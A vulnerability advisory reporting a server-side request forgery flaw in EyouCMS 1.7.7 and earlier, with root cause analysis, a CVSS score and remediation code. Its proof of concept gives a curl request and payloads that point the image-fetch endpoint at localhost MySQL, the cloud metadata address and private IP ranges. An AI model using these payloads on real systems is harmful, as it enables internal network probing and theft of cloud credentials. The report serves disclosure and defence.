EyouCMS 1.7.7 SSRF Vulnerability
SSRF Vulnerability in EyouCMS ≤ 1.7.7#
Title: Server-Side Request Forgery (SSRF) in EyouCMS ≤ 1.7.7 via Remote Image Fetch#
BUG_Author: pemic
Affected Version: EyouCMS ≤ 1.7.7
Vendor: EyouCMS Official Website
Software: EyouCMS
Vulnerability Files:
application/function.php(Line 1534)application/user/controller/Uploadify.php(Line 537)application/admin/controller/Ueditor.php(Line 532)
Description:#
1. Vulnerability Overview#
EyouCMS version 1.7.7 and earlier versions contain a Server-Side Request Forgery (SSRF) vulnerability in the remote image fetching functionality. The saveRemote() function uses PHP's get_headers() and readfile() functions to fetch remote images without properly validating the target URL, allowing an attacker to make the server send HTTP requests to arbitrary internal or external hosts.
2. Root Cause Analysis#
In application/function.php, the saveRemote() function:
// Line 1534
$heads = @get_headers($imgUrl, 1);
And later:
// Line 1618-1619
readfile($imgUrl, false, $context);
$img = ob_get_contents();
The function only validates:
URL must start with
http(Line 1527)Response must be HTTP 200 OK (Line 1535)
Content-Type should contain "image/" (Line 1565)
However, it does NOT validate:
Whether the target is an internal IP address
Whether the target is localhost or private network ranges
DNS rebinding attacks
3. Attack Vectors#
An authenticated attacker can exploit this vulnerability to:
Scan Internal Network: Probe internal services by observing response times or error messages
Access Internal Services: Reach services on localhost (127.0.0.1) or private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x)
Cloud Metadata Exfiltration: Access cloud provider metadata endpoints (e.g.,
http://169.254.169.254/)Port Scanning: Enumerate open ports on internal hosts
Protocol Smuggling: Potentially interact with non-HTTP services
4. Affected Endpoints#
| Endpoint | Module | Auth Required |
|---|---|---|
/index.php?m=user&c=Uploadify&a=ueditor&action=catchimage | User | User Login |
/index.php?m=admin&c=Ueditor&action=catchimage | Admin | Admin Login |
/index.php?m=admin&c=Uploadimgnew&a=remote | Admin | Admin Login |
Proof of Concept:#
Prerequisites:#
A valid user account (member or admin)
Login session established
Step 1: Login to EyouCMS#
http://<target>/index.php?m=user&c=Users&a=loginStep 2: Craft Malicious Request#
After logging in, send a POST request to the image catch endpoint:
curl -X POST "http://<target>/index.php?m=user&c=Uploadify&a=ueditor&action=catchimage" \
-H "Cookie: PHPSESSID=<your_session_id>" \
-d "source[]=http://127.0.0.1:3306/test.png"
Step 3: SSRF to Internal Services#
Example 1: Probe MySQL (Port 3306)
source[]=http://127.0.0.1:3306/test.png
Example 2: Access Cloud Metadata
source[]=http://169.254.169.254/latest/meta-data/test.png
Example 3: Scan Internal Network
source[]=http://192.168.1.1/test.png
source[]=http://10.0.0.1/test.png
Step 4: Observe Response#
The server will attempt to connect to the specified URL. The response will indicate:
If the host is reachable (different error messages)
Response time differences for port scanning
Actual content if the endpoint returns image-like content
Vulnerable Code Snippet:#
File: application/function.php (Lines 1526-1540)#
//http开头验证
if (strpos($imgUrl, "http") !== 0) {
$data = array(
'state' => '链接不是http链接',
);
return json_encode($data);
}
//获取请求头并检测死链
$heads = @get_headers($imgUrl, 1); // SSRF Trigger Point #1
if (empty($heads) || !(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
$data = array(
'state' => '链接不可用',
);
return json_encode($data);
}
File: application/function.php (Lines 1616-1620)#
//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(...);
readfile($imgUrl, false, $context); // SSRF Trigger Point #2
$img = ob_get_contents();
Impact:#
| Impact Type | Severity |
|---|---|
| Confidentiality | Medium - Can access internal resources |
| Integrity | Low - Limited to read operations |
| Availability | Low - Can be used for DoS on internal services |
CVSS v3.1 Score: 5.4 (Medium)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (User login required)
User Interaction: None
Scope: Changed
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: None
Remediation:#
1. Implement URL Validation#
function isValidExternalUrl($url) {
$parsed = parse_url($url);
$host = $parsed['host'] ?? '';
// Block private IP ranges
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return false;
}
// Block localhost
if (in_array($host, ['localhost', '127.0.0.1', '::1'])) {
return false;
}
// Block cloud metadata endpoints
if (strpos($ip, '169.254.') === 0) {
return false;
}
return true;
}2. Use Whitelist Approach#
Only allow fetching images from trusted domains.
3. Disable DNS Rebinding#
Resolve DNS before making the request and validate the resolved IP.
4. Use Proxy with Restrictions#
Route all outbound requests through a proxy that enforces security policies.
Timeline:#
| Date | Event |
|---|---|
| 2025-12-18 | Vulnerability Discovered |
| 2025-12-18 | Report Created |